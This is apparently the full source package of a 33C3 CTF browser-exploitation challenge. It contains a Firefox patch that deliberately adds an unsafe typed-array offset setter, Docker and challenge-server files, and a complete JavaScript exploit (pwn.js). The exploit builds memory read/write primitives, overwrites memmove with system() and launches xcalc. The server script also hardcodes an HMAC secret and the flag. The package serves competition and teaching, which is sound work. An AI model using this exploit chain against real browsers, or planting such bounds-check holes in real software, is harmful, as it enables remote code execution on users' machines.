├── README.txt ├── dockerimage ├── Dockerfile ├── docker_build.sh ├── docker_run.sh ├── files │ ├── firefox.tar.bz2 │ └── launch_firefox.sh ├── launch_firefox.sh └── take_screenshot.sh ├── exploit ├── index.html └── pwn.js ├── feuerfuchs.patch ├── feuerfuchs.service ├── generate_token.py ├── package.sh └── server.py /README.txt: -------------------------------------------------------------------------------- 1 | Feuerfuchs 2 | ---------- 3 | 4 | The patch should apply cleanly to the latest release branch of firefox: 5 | 6 | git clone https://github.com/mozilla/gecko-dev.git feuerfuchs 7 | cd feuerfuchs 8 | git checkout origin/release 9 | patch -p1 < ../feuerfuchs.patch 10 | ./mach build 11 | 12 | The dockerimage/ directory contains everything to reproduce the container setup that is used by the challenge server: 13 | 14 | 1. ./docker_build.sh 15 | 16 | 2. ./docker_run.sh 17 | 18 | 3. (in a separate shell) ./launch_firefox.sh $URL 19 | 20 | 4. (optional, also in a separete shell) ./take_screenshot.sh && open screenshot.png 21 | -------------------------------------------------------------------------------- /dockerimage/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN apt-get -y update && \ 4 | apt-get -y install imagemagick xvfb x11-apps libgtk-3-0 libasound2 libdbus-glib-1-2 5 | 6 | RUN groupadd -g 1000 websurfer && useradd -g websurfer -m -u 1000 websurfer -s /bin/bash 7 | USER websurfer 8 | 9 | ADD files/firefox.tar.bz2 /home/websurfer 10 | ADD files/launch_firefox.sh /home/websurfer 11 | 12 | CMD ["bash"] 13 | -------------------------------------------------------------------------------- /dockerimage/docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t saelo/feuerfuchs . 3 | -------------------------------------------------------------------------------- /dockerimage/docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run -it --rm --name feuerfuchs saelo/feuerfuchs 4 | -------------------------------------------------------------------------------- /dockerimage/files/firefox.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saelo/feuerfuchs/77b7f3fced72266c3b2291459d5b00d4288d81b1/dockerimage/files/firefox.tar.bz2 -------------------------------------------------------------------------------- /dockerimage/files/launch_firefox.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -ex 4 | 5 | DISPLAY=:1 6 | URL=$1 7 | 8 | Xvfb $DISPLAY -screen 0 1024x600x24 -fbdir /tmp >> /tmp/Xvfb.out 2>&1 & 9 | 10 | DISPLAY=$DISPLAY /home/websurfer/firefox/firefox -setDefaultBrowser $URL 11 | -------------------------------------------------------------------------------- /dockerimage/launch_firefox.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker exec feuerfuchs /home/websurfer/launch_firefox.sh $1 4 | -------------------------------------------------------------------------------- /dockerimage/take_screenshot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker exec -it feuerfuchs bash -c 'DISPLAY=:1 import -window root /tmp/screenshot.png' 4 | docker cp feuerfuchs:/tmp/screenshot.png . 5 | -------------------------------------------------------------------------------- /exploit/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 12 | 13 |

Please wait...

14 | 15 | 16 | -------------------------------------------------------------------------------- /exploit/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Utility stuff. 3 | // 4 | 5 | // Return the hexadecimal representation of the given byte. 6 | function hex(b) { 7 | return ('0' + b.toString(16)).substr(-2); 8 | } 9 | 10 | // Return the hexadecimal representation of the given byte array. 11 | function hexlify(bytes) { 12 | var res = []; 13 | for (var i = 0; i < bytes.length; i++) 14 | res.push(hex(bytes[i])); 15 | 16 | return res.join(''); 17 | } 18 | 19 | // Return the binary data represented by the given hexdecimal string. 20 | function unhexlify(hexstr) { 21 | if (hexstr.length % 2 == 1) 22 | throw new TypeError("Invalid hex string"); 23 | 24 | var bytes = new Uint8Array(hexstr.length / 2); 25 | for (var i = 0; i < hexstr.length; i += 2) 26 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 27 | 28 | return bytes; 29 | } 30 | 31 | function hexdump(data) { 32 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 33 | data = Array.from(data); 34 | 35 | var lines = []; 36 | for (var i = 0; i < data.length; i += 16) { 37 | var chunk = data.slice(i, i+16); 38 | var parts = chunk.map(hex); 39 | if (parts.length > 8) 40 | parts.splice(8, 0, ' '); 41 | lines.push(parts.join(' ')); 42 | } 43 | 44 | return lines.join('\n'); 45 | } 46 | 47 | function print(msg) { 48 | console.log(msg); 49 | document.body.innerText += msg + '\n'; 50 | } 51 | 52 | // 53 | // Datatype to represent 64-bit integers. 54 | // 55 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 56 | function Int64(v) { 57 | // The underlying byte array. 58 | var bytes = new Uint8Array(8); 59 | 60 | switch (typeof v) { 61 | case 'number': 62 | v = '0x' + Math.floor(v).toString(16); 63 | case 'string': 64 | if (v.startsWith('0x')) 65 | v = v.substr(2); 66 | if (v.length % 2 == 1) 67 | v = '0' + v; 68 | 69 | var bigEndian = unhexlify(v, 8); 70 | bytes.set(Array.from(bigEndian).reverse()); 71 | break; 72 | case 'object': 73 | if (v instanceof Int64) { 74 | bytes.set(v.bytes()); 75 | } else { 76 | if (v.length != 8) 77 | throw TypeError("Array must have excactly 8 elements."); 78 | bytes.set(v); 79 | } 80 | break; 81 | case 'undefined': 82 | break; 83 | default: 84 | throw TypeError("Int64 constructor requires an argument."); 85 | } 86 | 87 | // Return the underlying bytes of this number as array. 88 | this.bytes = function() { 89 | return Array.from(bytes); 90 | }; 91 | 92 | // Return the byte at the given index. 93 | this.byteAt = function(i) { 94 | return bytes[i]; 95 | }; 96 | 97 | // Return the value of this number as unsigned hex string. 98 | this.toString = function() { 99 | return '0x' + hexlify(Array.from(bytes).reverse()); 100 | }; 101 | 102 | // Basic arithmetic. 103 | // These functions assign the result of the computation to their 'this' object. 104 | 105 | // Decorator for Int64 instance operations. Takes care 106 | // of converting arguments to Int64 instances if required. 107 | function operation(f, nargs) { 108 | return function() { 109 | if (arguments.length != nargs) 110 | throw Error("Not enough arguments for function " + f.name); 111 | for (var i = 0; i < arguments.length; i++) 112 | if (!(arguments[i] instanceof Int64)) 113 | arguments[i] = new Int64(arguments[i]); 114 | return f.apply(this, arguments); 115 | }; 116 | } 117 | 118 | // this == other 119 | this.equals = operation(function(other) { 120 | for (var i = 0; i < 8; i++) { 121 | if (this.byteAt(i) != other.byteAt(i)) 122 | return false; 123 | } 124 | return true; 125 | }, 1); 126 | 127 | // this = -n (two's complement) 128 | this.assignNeg = operation(function neg(n) { 129 | for (var i = 0; i < 8; i++) 130 | bytes[i] = ~n.byteAt(i); 131 | 132 | return this.assignAdd(this, Int64.One); 133 | }, 1); 134 | 135 | // this = a + b 136 | this.assignAdd = operation(function add(a, b) { 137 | var carry = 0; 138 | for (var i = 0; i < 8; i++) { 139 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 140 | carry = cur > 0xff | 0; 141 | bytes[i] = cur; 142 | } 143 | return this; 144 | }, 2); 145 | 146 | // this = a - b 147 | this.assignSub = operation(function sub(a, b) { 148 | var carry = 0; 149 | for (var i = 0; i < 8; i++) { 150 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 151 | carry = cur < 0 | 0; 152 | bytes[i] = cur; 153 | } 154 | return this; 155 | }, 2); 156 | 157 | // this = a << 1 158 | this.assignLShift1 = operation(function lshift1(a) { 159 | var highBit = 0; 160 | for (var i = 0; i < 8; i++) { 161 | var cur = a.byteAt(i); 162 | bytes[i] = (cur << 1) | highBit; 163 | highBit = (cur & 0x80) >> 7; 164 | } 165 | return this; 166 | }, 1); 167 | 168 | // this = a >> 1 169 | this.assignRShift1 = operation(function rshift1(a) { 170 | var lowBit = 0; 171 | for (var i = 7; i >= 0; i--) { 172 | var cur = a.byteAt(i); 173 | bytes[i] = (cur >> 1) | lowBit; 174 | lowBit = (cur & 0x1) << 7; 175 | } 176 | return this; 177 | }, 1); 178 | 179 | // this = a & b 180 | this.assignAnd = operation(function and(a, b) { 181 | for (var i = 0; i < 8; i++) { 182 | bytes[i] = a.byteAt(i) & b.byteAt(i); 183 | } 184 | return this; 185 | }, 2); 186 | } 187 | 188 | // Constructs a new Int64 instance with the same bit representation as the provided double. 189 | Int64.fromJSValue = function(bytes) { 190 | bytes[7] = 0; 191 | bytes[6] = 0; 192 | return new Int64(bytes); 193 | }; 194 | 195 | // Convenience functions. These allocate a new Int64 to hold the result. 196 | 197 | // Return ~n (two's complement) 198 | function Neg(n) { 199 | return (new Int64()).assignNeg(n); 200 | } 201 | 202 | // Return a + b 203 | function Add(a, b) { 204 | return (new Int64()).assignAdd(a, b); 205 | } 206 | 207 | // Return a - b 208 | function Sub(a, b) { 209 | return (new Int64()).assignSub(a, b); 210 | } 211 | 212 | function LShift1(a) { 213 | return (new Int64()).assignLShift1(a); 214 | } 215 | 216 | function RShift1(a) { 217 | return (new Int64()).assignRShift1(a); 218 | } 219 | 220 | function And(a, b) { 221 | return (new Int64()).assignAnd(a, b); 222 | } 223 | 224 | function Equals(a, b) { 225 | return a.equals(b); 226 | } 227 | 228 | // Some commonly used numbers. 229 | Int64.Zero = new Int64(0); 230 | Int64.One = new Int64(1); 231 | 232 | 233 | function pwn() { 234 | // Allocate multiple ArrayBuffers of the largest size such that the data is still stored inline 235 | var buffers = []; 236 | for (var i = 0; i < 100; i++) { 237 | buffers.push(new ArrayBuffer(96)); 238 | } 239 | 240 | var view = new Uint8Array(buffers[79]); 241 | var hax = { valueOf: function() { view.offset = 88; return 0; } }; 242 | 243 | // Trigger the bug first time to leak the data pointer of the following ArrayBuffer 244 | view.copyWithin(hax, 32+8, 40+8); 245 | 246 | // First qword in adjusted view now contains the data pointer (which is stored as a Private, thus needs to be shifted) 247 | var ptr = LShift1(new Int64(view)); 248 | // ptr will point to inline data so we can calculate the address of the preceeding ArrayBuffer 249 | var addressOfInnerArrayBuffer = Sub(ptr, 8*8 + 8*8 + 8*12); 250 | 251 | // Trigger the bug a second time to write the modified data pointer 252 | view.set(RShift1(addressOfInnerArrayBuffer).bytes()); 253 | view.offset = 0; 254 | view.copyWithin(32+8, hax, 8); 255 | 256 | // Look for the modified ArrayBuffer 257 | var buffer = null; 258 | for (var i = 0; i < buffers.length; i++) { 259 | var ab = new Uint32Array(buffers[i]); 260 | if (ab[3] != 0) { 261 | buffer = buffers[i]; 262 | break; 263 | } 264 | } 265 | if (buffer == null) { 266 | print("Failed"); 267 | return; 268 | } 269 | 270 | // |outer| is a byte view onto the corrupted ArrayBuffer which now allows us to arbitrarily modify the ArrayBuffer |inner| 271 | var inner = buffers[79]; 272 | var outer = new Uint8Array(buffer); 273 | 274 | // Increase the size of the inner ArrayBuffer 275 | outer[43] = 0x1; 276 | 277 | // Object to access the process' memory 278 | var memory = { 279 | write: function(addr, data) { 280 | // Set data pointer of |inner| 281 | outer.set(RShift1(addr).bytes(), 32); 282 | // Uint8Array's cache the data pointer of the underlying ArrayBuffer 283 | var innerView = new Uint8Array(inner); 284 | innerView.set(data); 285 | }, 286 | read: function(addr, length) { 287 | // Set data pointer of |inner| 288 | outer.set(RShift1(addr).bytes(), 32); 289 | // Uint8Array's cache the data pointer of the underlying ArrayBuffer 290 | var innerView = new Uint8Array(inner); 291 | return innerView.slice(0, length); 292 | }, 293 | readPointer: function(addr) { 294 | return new Int64(this.read(addr, 8)); 295 | }, 296 | addrof: function(obj) { 297 | // To leak the address of |obj|, we set it as property of the |inner| 298 | // ArrayBuffer, then leak that using the existing read() method. 299 | inner.leakMe = obj; 300 | var addressOfSlotsArray = this.readPointer(Add(addressOfInnerArrayBuffer, 2*8)); 301 | return Int64.fromJSValue(this.read(addressOfSlotsArray, 8)); 302 | }, 303 | }; 304 | 305 | // This is super hackish: we replace memmove() with system(), then call 306 | // TypedArray.copyWithin, which at some point calls memmove with the first argument 307 | // pointing to controlled data. 308 | // Since a different memmove implementation is chosen at runtime based on the platform, 309 | // we use a different libc function (sscanf) to calculate the address of system() 310 | 311 | // f297eab40327e83abccb1803a50edfac /lib/x86_64-linux-gnu/libc.so.6 312 | var systemToSscanf = 0x6a890 - 0x45390; 313 | 314 | // Firefox 50.1 Ubuntu x64 315 | // readelf --relocs libxul.so | grep memmove 316 | var memmoveOffset = 0x4b1e160; 317 | // readelf --relocs libxul.so | grep sscanf 318 | var sscanfOffset = 0x4b1e198; 319 | // ??? TODO get rid of this and implement bit masks instead for the following function 320 | var maxFuncOffset = 0x410; 321 | 322 | function findElfStart(addr) { 323 | while (true) { 324 | var d = memory.read(addr, 4); 325 | if (d[0] == 0x7f && d[1] == 0x45 && d[2] == 0x4c && d[3] == 0x46) { 326 | return addr; 327 | } 328 | addr = Sub(addr, 0x1000); 329 | } 330 | } 331 | 332 | // Read the native function pointer of Math.max (Any native function would do) 333 | // and calculate the base address of XUL from that. 334 | var moduleBase = memory.readPointer(Add(memory.addrof(Math.max), 40)); 335 | var moduleBase = findElfStart(Sub(moduleBase, maxFuncOffset)); 336 | print("XUL Base address: " + moduleBase.toString()); 337 | 338 | var addressOfMemmovePointer = Add(moduleBase, memmoveOffset); 339 | var addressOfSscanfPointer = Add(moduleBase, sscanfOffset); 340 | 341 | var addressOfSscanf = memory.readPointer(addressOfSscanfPointer); 342 | print("sscanf @ " + addressOfSscanf.toString()); 343 | 344 | var addressOfMemmove = memory.readPointer(addressOfMemmovePointer); 345 | print("memmove @ " + addressOfMemmove.toString()); 346 | 347 | var addressOfSystem = Sub(addressOfSscanf, systemToSscanf); 348 | print("system @ " + addressOfSystem.toString()); 349 | 350 | var target = new Uint8Array(100); 351 | var cmd = "/usr/bin/xcalc"; 352 | for (var i = 0; i < cmd.length; i++) { 353 | target[i] = cmd.charCodeAt(i); 354 | } 355 | memory.write(addressOfMemmovePointer, addressOfSystem.bytes()); 356 | target.copyWithin(0, 1); 357 | memory.write(addressOfMemmovePointer, addressOfMemmove.bytes()); 358 | 359 | print("Done"); 360 | } 361 | -------------------------------------------------------------------------------- /feuerfuchs.patch: -------------------------------------------------------------------------------- 1 | diff --git a/js/src/vm/TypedArrayObject.cpp b/js/src/vm/TypedArrayObject.cpp 2 | index 55644b1..d1cc250 100644 3 | --- a/js/src/vm/TypedArrayObject.cpp 4 | +++ b/js/src/vm/TypedArrayObject.cpp 5 | @@ -1279,7 +1279,13 @@ JS_FOR_EACH_TYPED_ARRAY(CHECK_TYPED_ARRAY_CONSTRUCTOR) 6 | static bool 7 | TypedArray_lengthGetter(JSContext* cx, unsigned argc, Value* vp) 8 | { 9 | - return TypedArrayObject::Getter(cx, argc, vp); \ 10 | + return TypedArrayObject::Getter(cx, argc, vp); 11 | +} 12 | + 13 | +static bool 14 | +TypedArray_lengthSetter(JSContext* cx, unsigned argc, Value* vp) 15 | +{ 16 | + return TypedArrayObject::Setter(cx, argc, vp); 17 | } 18 | 19 | static bool 20 | @@ -1289,6 +1295,18 @@ TypedArray_byteLengthGetter(JSContext* cx, unsigned argc, Value* vp) 21 | } 22 | 23 | static bool 24 | +TypedArray_offsetGetter(JSContext* cx, unsigned argc, Value* vp) 25 | +{ 26 | + return TypedArrayObject::Getter(cx, argc, vp); 27 | +} 28 | + 29 | +static bool 30 | +TypedArray_offsetSetter(JSContext* cx, unsigned argc, Value* vp) 31 | +{ 32 | + return TypedArrayObject::Setter(cx, argc, vp); 33 | +} 34 | + 35 | +static bool 36 | TypedArray_byteOffsetGetter(JSContext* cx, unsigned argc, Value* vp) 37 | { 38 | return TypedArrayObject::Getter(cx, argc, vp); 39 | @@ -1314,9 +1332,10 @@ TypedArray_bufferGetter(JSContext* cx, unsigned argc, Value* vp) 40 | 41 | /* static */ const JSPropertySpec 42 | TypedArrayObject::protoAccessors[] = { 43 | - JS_PSG("length", TypedArray_lengthGetter, 0), 44 | JS_PSG("buffer", TypedArray_bufferGetter, 0), 45 | + JS_PSGS("length", TypedArray_lengthGetter, TypedArray_lengthSetter, 0), 46 | JS_PSG("byteLength", TypedArray_byteLengthGetter, 0), 47 | + JS_PSGS("offset", TypedArray_offsetGetter, TypedArray_offsetSetter, 0), 48 | JS_PSG("byteOffset", TypedArray_byteOffsetGetter, 0), 49 | JS_PS_END 50 | }; 51 | diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h 52 | index 6ac951a..3ae8934 100644 53 | --- a/js/src/vm/TypedArrayObject.h 54 | +++ b/js/src/vm/TypedArrayObject.h 55 | @@ -135,12 +135,44 @@ class TypedArrayObject : public NativeObject 56 | MOZ_ASSERT(v.toInt32() >= 0); 57 | return v; 58 | } 59 | + static Value offsetValue(TypedArrayObject* tarr) { 60 | + return Int32Value(tarr->getFixedSlot(BYTEOFFSET_SLOT).toInt32() / tarr->bytesPerElement()); 61 | + } 62 | + static bool offsetSetter(JSContext* cx, Handle tarr, uint32_t newOffset) { 63 | + // Ensure that the new offset does not extend beyond the current bounds 64 | + if (newOffset > tarr->offset() + tarr->length()) 65 | + return false; 66 | + 67 | + int32_t diff = newOffset - tarr->offset(); 68 | + 69 | + ensureHasBuffer(cx, tarr); 70 | + uint8_t* ptr = static_cast(tarr->viewDataEither_()); 71 | + 72 | + tarr->setFixedSlot(LENGTH_SLOT, Int32Value(tarr->length() - diff)); 73 | + tarr->setFixedSlot(BYTEOFFSET_SLOT, Int32Value(newOffset * tarr->bytesPerElement())); 74 | + tarr->setPrivate(ptr + diff * tarr->bytesPerElement()); 75 | + 76 | + return true; 77 | + } 78 | static Value byteLengthValue(TypedArrayObject* tarr) { 79 | return Int32Value(tarr->getFixedSlot(LENGTH_SLOT).toInt32() * tarr->bytesPerElement()); 80 | } 81 | static Value lengthValue(TypedArrayObject* tarr) { 82 | return tarr->getFixedSlot(LENGTH_SLOT); 83 | } 84 | + static bool lengthSetter(JSContext* cx, Handle tarr, uint32_t newLength) { 85 | + if (newLength > tarr->length()) { 86 | + // Ensure the underlying buffer is large enough 87 | + ensureHasBuffer(cx, tarr); 88 | + ArrayBufferObjectMaybeShared* buffer = tarr->bufferEither(); 89 | + if (tarr->byteOffset() + newLength * tarr->bytesPerElement() > buffer->byteLength()) 90 | + return false; 91 | + } 92 | + 93 | + tarr->setFixedSlot(LENGTH_SLOT, Int32Value(newLength)); 94 | + return true; 95 | + } 96 | + 97 | 98 | static bool 99 | ensureHasBuffer(JSContext* cx, Handle tarray); 100 | @@ -154,6 +186,9 @@ class TypedArrayObject : public NativeObject 101 | uint32_t byteOffset() const { 102 | return byteOffsetValue(const_cast(this)).toInt32(); 103 | } 104 | + uint32_t offset() const { 105 | + return offsetValue(const_cast(this)).toInt32(); 106 | + } 107 | uint32_t byteLength() const { 108 | return byteLengthValue(const_cast(this)).toInt32(); 109 | } 110 | @@ -280,6 +315,29 @@ class TypedArrayObject : public NativeObject 111 | return CallNonGenericMethod>(cx, args); 112 | } 113 | 114 | + template tarr, uint32_t value)> 115 | + static bool 116 | + SetterImpl(JSContext* cx, const CallArgs& args) 117 | + { 118 | + MOZ_ASSERT(is(args.thisv())); 119 | + double value; 120 | + if (!ToNumber(cx, args.get(0), &value)) 121 | + return false; 122 | + 123 | + Rooted thisv(cx, &args.thisv().toObject().as()); 124 | + args.rval().setBoolean(ValueSetter(cx, thisv, uint32_t(value))); 125 | + return true; 126 | + } 127 | + 128 | + template tarr, uint32_t value)> 129 | + static bool 130 | + Setter(JSContext* cx, unsigned argc, Value* vp) 131 | + { 132 | + CallArgs args = CallArgsFromVp(argc, vp); 133 | + return CallNonGenericMethod>(cx, args); 134 | + } 135 | + 136 | + 137 | static const JSFunctionSpec protoFunctions[]; 138 | static const JSPropertySpec protoAccessors[]; 139 | static const JSFunctionSpec staticFunctions[]; 140 | -------------------------------------------------------------------------------- /feuerfuchs.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description="feuerfuchs" challenge server 3 | After=multi-user.target 4 | [Service] 5 | Type=simple 6 | User=feuerfuchs 7 | ExecStart=/usr/bin/python3 -u /home/feuerfuchs/server.py 8 | [Install] 9 | WantedBy=multi-user.target 10 | -------------------------------------------------------------------------------- /generate_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import json 5 | import hmac 6 | 7 | SECRET = b"Saeyoozouy5hee6Vfeuerfuchs" 8 | team_id = int(sys.argv[1]) 9 | 10 | token = hmac.new(SECRET, str(team_id).encode('ascii'), "sha1").hexdigest() 11 | print(str(team_id) + ':' + token) 12 | 13 | -------------------------------------------------------------------------------- /package.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | tar cJf feuerfuchs.tar.xz feuerfuchs.patch README.txt dockerimage 4 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Challenge server for the "feuerfuchs" challenge of 33C3 CTF. 4 | # 5 | # Copyright (c) 2016 Samuel Groß 6 | # 7 | 8 | from urllib.parse import urlparse 9 | from os.path import dirname, abspath 10 | import subprocess 11 | import asyncio 12 | import docker 13 | import json 14 | import hmac 15 | 16 | docker_client = docker.from_env() 17 | 18 | HOST = '127.0.0.1' 19 | PORT = 0xf1f0 20 | FLAG = "33C3_wh4t_d0e5_th3_f0x_s4y?" 21 | SECRET = b"Saeyoozouy5hee6Vfeuerfuchs" 22 | WORKDIR = dirname(abspath(__file__)) 23 | 24 | MAX_RUNNING_CONTAINERS = 1 25 | CONTAINER_TIMEOUT = 30 # in seconds 26 | MAX_TRIES = 5 27 | 28 | class Authenticator: 29 | # TODO something like redis would probably be better... 30 | def __init__(self, dbname): 31 | self._dbname = dbname 32 | try: 33 | with open(dbname, 'r') as f: 34 | try: 35 | self._tokens = json.load(f) 36 | except json.decoder.JSONDecodeError: 37 | print("Token database is corrupted, starting with a new one...") 38 | self._tokens = {} 39 | except FileNotFoundError: 40 | print("Using fresh token database") 41 | self._tokens = {} 42 | 43 | def is_valid_token(self, token): 44 | if token[1] in self._tokens: 45 | return True 46 | team_id = token[0] 47 | expected = hmac.new(SECRET, str(team_id).encode('ascii'), "sha1").hexdigest() 48 | if expected == token[1]: 49 | self._tokens[token[1]] = 0 50 | return True 51 | else: 52 | return False 53 | 54 | def token_usages(self, token): 55 | return self._tokens[token[1]] 56 | 57 | def use_token(self, token): 58 | assert(token[1] in self._tokens) 59 | if token[0] != -1: 60 | self._tokens[token[1]] += 1 61 | with open(self._dbname, 'w+') as f: 62 | json.dump(self._tokens, f) 63 | 64 | authenticator = Authenticator(WORKDIR + '/token_database') 65 | 66 | class Client: 67 | def __init__(self, peer, reader, writer): 68 | self._peer = peer[0] 69 | self._reader = reader 70 | self._writer = writer 71 | self.container = None 72 | 73 | async def write(self, msg, end='\n'): 74 | self._writer.write((msg + end).encode('UTF-8')) 75 | await self._writer.drain() 76 | 77 | async def readline(self): 78 | line = await self._reader.readline() 79 | if not line: 80 | raise ConnectionResetError() 81 | return line.decode('UTF-8').strip() 82 | 83 | async def send_welcome(self): 84 | await self.write("""Welcome! 85 | 86 | In this challenge you are asked to pwn a modified firefox and pop calc (xcalc to be specific). You can get the patch, as well as all other relevant files from here: https://33c3ctf.ccc.ac/uploads/feuerfuchs-f23f889382ed13a0e185fe48132c56eebf2b87f3.tar.xz 87 | 88 | This challenge will work as follows: 89 | 90 | 1. I'll ask you for your token 91 | 92 | 2. I'll ask you for a URL to your exploit 93 | 94 | 3. I'll start up a container, and within that open Firefox with your URL 95 | 96 | 4. I'll see if there is a calculator process (xcalc) running inside the container, in which case I'll send you the flag. You have {} seconds to pop calc. 97 | 98 | 5. I'll destroy the container 99 | 100 | Enjoy! 101 | ~saelo 102 | """.format(CONTAINER_TIMEOUT)) 103 | 104 | async def verify_token(self, token): 105 | valid = authenticator.is_valid_token(token) 106 | if valid: 107 | tries = authenticator.token_usages(token) 108 | if tries < MAX_TRIES: 109 | print("Got valid token from {}: {}".format(self._peer, token)) 110 | await self.write("Ok. You have {} tries left".format(MAX_TRIES - tries)) 111 | return True 112 | else: 113 | print("Got expired token from {}: {}".format(self._peer, token)) 114 | await self.write("Sorry, you already had {} attempts...".format(MAX_TRIES)) 115 | return False 116 | else: 117 | print("Got invalid token from {}: {}".format(self._peer, token)) 118 | await self.write("Invalid Token") 119 | return False 120 | 121 | async def use_token(self, token): 122 | authenticator.use_token(token) 123 | await self.write("You now have {} tries left".format(MAX_TRIES - authenticator.token_usages(token))) 124 | 125 | async def receive_token(self): 126 | await self.write("Your token please ('team_id:sha1'):") 127 | while True: 128 | line = await self.readline() 129 | try: 130 | team_id, hmac = line.split(':') 131 | return int(team_id), hmac 132 | except ValueError: 133 | await self.write("Try again") 134 | 135 | async def receive_url(self): 136 | def is_valid(url): 137 | parsed_url = urlparse(url) 138 | return parsed_url.scheme and parsed_url.netloc 139 | 140 | await self.write("Send me the URL to your exploit please:") 141 | url = await self.readline() 142 | while not is_valid(url): 143 | await self.write("That doesn't look like a valid URL to me. Try again") 144 | url = await self.readline() 145 | 146 | print("Got URL from {}: {}".format(self._peer, url)) 147 | return url 148 | 149 | async def fetch_exploit(self, url, team_id, trynr): 150 | # Yes, I do want those Firefox 0days ;) 151 | proc = subprocess.Popen(["wget", "-p", "-k", "-P", WORKDIR + "/tries/team_{}_try_{}".format(team_id, trynr), url], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 152 | await asyncio.sleep(5) 153 | proc.kill() 154 | 155 | def num_running_containers(self): 156 | containers = docker_client.containers() 157 | return len(containers) 158 | 159 | async def start_container(self, url): 160 | need_newline = False 161 | if self.num_running_containers() >= MAX_RUNNING_CONTAINERS: 162 | await self.write("I cannot launch more containers right now, pleases hang on") 163 | while self.num_running_containers() >= MAX_RUNNING_CONTAINERS: 164 | await self.wait(5, send_newline=False) 165 | need_newline = True 166 | 167 | # There is no race here as long as we don't have another `await` call before the container is started 168 | 169 | config = docker_client.create_host_config() # TODO limit memory and CPU? 170 | 171 | # Need a separate initial process to prevent the container from shutting down if the firefox process crashes. 172 | # The timeout is fairly large to prevent the container from prematurely shutting down if the server is very busy. 173 | self.container = docker_client.create_container(image='saelo/feuerfuchs', command=['/bin/sleep', str(60 * 5 + CONTAINER_TIMEOUT)], host_config=config) 174 | docker_client.start(self.container.get('Id')) 175 | 176 | firefox_exec = docker_client.exec_create(self.container.get('Id'), cmd=['/home/websurfer/launch_firefox.sh', url]) 177 | docker_client.exec_start(firefox_exec.get('Id'), stream=True) 178 | 179 | if need_newline: 180 | await self.write("") 181 | 182 | def check_for_process(self, pname): 183 | pgrep_exec = docker_client.exec_create(self.container.get('Id'), cmd=['pgrep', pname]) 184 | return len(docker_client.exec_start(pgrep_exec.get('Id'))) > 0 185 | 186 | async def check_pwned(self): 187 | await self.write("I'll now check for a calc process every 5 seconds for a total of up to {} seconds".format(CONTAINER_TIMEOUT)) 188 | for i in range(0, CONTAINER_TIMEOUT, 5): 189 | await self.wait(5, send_newline=False) 190 | if self.check_for_process('xcalc'): 191 | await self.write(" ✓") 192 | return True 193 | else: 194 | await self.write(" ✗") 195 | return False 196 | 197 | def stop_container(self): 198 | if self.container: 199 | try: 200 | docker_client.kill(self.container.get('Id')) 201 | except docker.errors.APIError: 202 | # Could happen if the container has already stopped 203 | pass 204 | docker_client.remove_container(self.container.get('Id')) 205 | 206 | async def wait(self, time, send_newline=True): 207 | for i in range(time): 208 | await asyncio.sleep(1) 209 | await self.write('.', end='') 210 | if send_newline: 211 | await self.write('') 212 | 213 | async def serve(self): 214 | print("Connection from {}".format(self._peer)) 215 | 216 | await self.send_welcome() 217 | 218 | token = await self.receive_token() 219 | 220 | if await self.verify_token(token): 221 | url = await self.receive_url() 222 | 223 | try: 224 | await self.start_container(url) 225 | 226 | await self.write("Your container has been started and should now browse to your URL") 227 | 228 | await self.use_token(token) 229 | 230 | if await self.check_pwned(): 231 | await self.write("Congrats, you popped calc! Here is your flag: " + FLAG) 232 | print("{} popped calc!".format(self._peer)) 233 | await self.fetch_exploit(url, token[0], authenticator.token_usages(token)) 234 | else: 235 | await self.write("Sorry, seems like you didn't pop calc :(") 236 | print("{} didn't pop calc".format(self._peer)) 237 | finally: 238 | self.stop_container() 239 | 240 | 241 | async def handle_client(reader, writer): 242 | peer = writer.get_extra_info('peername') 243 | client = Client(peer, reader, writer) 244 | try: 245 | await client.serve() 246 | except ConnectionResetError: 247 | pass 248 | except docker.errors.APIError: 249 | print("Oops, docker exception caught...") 250 | finally: 251 | writer.close() 252 | 253 | if __name__ == '__main__': 254 | loop = asyncio.get_event_loop() 255 | coro = asyncio.start_server(handle_client, HOST, PORT) 256 | server = loop.run_until_complete(coro) 257 | 258 | print("Serving on {}".format(server.sockets[0].getsockname())) 259 | try: 260 | loop.run_forever() 261 | except KeyboardInterrupt: 262 | pass 263 | 264 | # Close the server 265 | server.close() 266 | loop.run_until_complete(server.wait_closed()) 267 | loop.close() 268 | --------------------------------------------------------------------------------